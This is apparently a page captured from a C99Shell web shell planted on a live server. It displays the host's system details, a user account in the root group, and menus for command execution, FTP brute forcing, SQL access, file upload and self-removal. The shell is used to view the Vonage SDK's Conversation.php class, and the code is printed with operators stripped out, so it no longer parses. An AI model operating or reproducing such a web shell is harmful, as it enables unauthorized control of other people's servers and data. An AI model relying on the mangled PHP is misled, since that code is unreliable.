!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/Voice/NCCO/Action/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Conversation.php (6.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\Voice\NCCO\Action;

use 
Vonage\Voice\Webhook;

use function 
array_key_exists;
use function 
filter_var;
use function 
is_array;
use function 
is_null;

class 
Conversation implements ActionInterface
{
    protected ?
string $musicOnHoldUrl null;

    protected ?
bool $startOnEnter null;

    protected ?
bool $endOnExit null;

    protected ?
bool $record null;

    
/**
     * @var ?array<string>
     */
    
protected ?array $canSpeak null;

    
/**
     * @var ?array<string>
     */
    
protected ?array $canHear null;

    protected ?
Webhook $eventWebhook null;

    public function 
__construct(protected string $name)
    {
    }

    public function 
getName(): string
    
{
        return 
$this->name;
    }

    public function 
getMusicOnHoldUrl(): ?string
    
{
        return 
$this->musicOnHoldUrl;
    }

    
/**
     * @return $this
     */
    
public function setMusicOnHoldUrl(string $musicOnHoldUrl): self
    
{
        
$this->musicOnHoldUrl $musicOnHoldUrl;

        return 
$this;
    }

    public function 
getStartOnEnter(): ?bool
    
{
        return 
$this->startOnEnter;
    }

    
/**
     * @return $this
     */
    
public function setStartOnEnter(bool $startOnEnter): self
    
{
        
$this->startOnEnter $startOnEnter;

        return 
$this;
    }

    public function 
getEndOnExit(): ?bool
    
{
        return 
$this->endOnExit;
    }

    
/**
     * @return $this
     */
    
public function setEndOnExit(bool $endOnExit): self
    
{
        
$this->endOnExit $endOnExit;

        return 
$this;
    }

    public function 
getRecord(): ?bool
    
{
        return 
$this->record;
    }

    public function 
setRecord(bool $record): self
    
{
        
$this->record $record;

        return 
$this;
    }

    
/**
     * @return ?array<string>
     */
    
public function getCanSpeak(): ?array
    {
        return 
$this->canSpeak;
    }

    
/**
     * @param array<string> $canSpeak
     */
    
public function setCanSpeak(array $canSpeak): self
    
{
        
$this->canSpeak $canSpeak;

        return 
$this;
    }

    public function 
addCanSpeak(string $uuid): self
    
{
        
$this->canSpeak[] = $uuid;

        return 
$this;
    }

    
/**
     * @return ?array<string>
     */
    
public function getCanHear(): ?array
    {
        return 
$this->canHear;
    }

    
/**
     * @param array<string> $canHear
     */
    
public function setCanHear(array $canHear): self
    
{
        
$this->canHear $canHear;

        return 
$this;
    }

    public function 
addCanHear(string $uuid): self
    
{
        
$this->canHear[] = $uuid;

        return 
$this;
    }

    
/**
     * @param array{
     *      musicOnHoldUrl?: string,
     *      startOnEnter?: bool,
     *      endOnExit?: bool,
     *      record?: bool,
     *      canSpeak?: array,
     *      canHear?: array
     *  } $data
     */
    
public static function factory(string $name, array $data): Conversation
    
{
        
$talk = new Conversation($name);

        if (
array_key_exists('musicOnHoldUrl'$data)) {
            
$talk->setMusicOnHoldUrl($data['musicOnHoldUrl']);
        }

        if (
array_key_exists('startOnEnter'$data)) {
            
$talk->setStartOnEnter(
                
filter_var($data['startOnEnter'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE])
            );
        }

        if (
array_key_exists('endOnExit'$data)) {
            
$talk->setEndOnExit(
                
filter_var($data['endOnExit'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE])
            );
        }

        if (
array_key_exists('record'$data)) {
            
$talk->setRecord(
                
filter_var($data['record'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE])
            );
        }

        if (
array_key_exists('canSpeak'$data)) {
            
$talk->setCanSpeak($data['canSpeak']);
        }

        if (
array_key_exists('canHear'$data)) {
            
$talk->setCanHear($data['canHear']);
        }

        if (
array_key_exists('eventUrl'$data)) {
            if (
is_array($data['eventUrl'])) {
                
$data['eventUrl'] = $data['eventUrl'][0];
            }

            if (
array_key_exists('eventMethod'$data)) {
                
$webhook = new Webhook($data['eventUrl'], $data['eventMethod']);
            } else {
                
$webhook = new Webhook($data['eventUrl']);
            }

            
$talk->setEventWebhook($webhook);
        }

        return 
$talk;
    }

    
/**
     * @return array<string, mixed>
     */
    
public function jsonSerialize(): array
    {
        return 
$this->toNCCOArray();
    }

    
/**
     * @return array<string, mixed>
     */
    
public function toNCCOArray(): array
    {
        
$data = [
            
'action' => 'conversation',
            
'name' => $this->getName(),
        ];

        if (!
is_null($this->getStartOnEnter())) {
            
$data['startOnEnter'] = $this->getStartOnEnter() ? 'true' 'false';
        }

        if (!
is_null($this->getEndOnExit())) {
            
$data['endOnExit'] = $this->getEndOnExit() ? 'true' 'false';
        }

        if (!
is_null($this->getRecord())) {
            
$data['record'] = $this->getRecord() ? 'true' 'false';
        }

        
$music $this->getMusicOnHoldUrl();

        if (
$music) {
            
$data['musicOnHoldUrl'] = [$music];
        }

        
$canSpeak $this->getCanSpeak();

        if (
$canSpeak) {
            
$data['canSpeak'] = $canSpeak;
        }

        
$canHear $this->getCanHear();

        if (
$canHear) {
            
$data['canHear'] = $canHear;
        }

        if (
$this->getEventWebhook()) {
            
$data['eventUrl'] = [$this->getEventWebhook()->getUrl()];
            
$data['eventMethod'] = $this->getEventWebhook()->getMethod();
        }

        return 
$data;
    }

    public function 
getEventWebhook(): ?Webhook
    
{
        return 
$this->eventWebhook;
    }

    
/**
     * @return $this
     */
    
public function setEventWebhook(Webhook $eventWebhook): Conversation
    
{
        
$this->eventWebhook $eventWebhook;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0086 ]--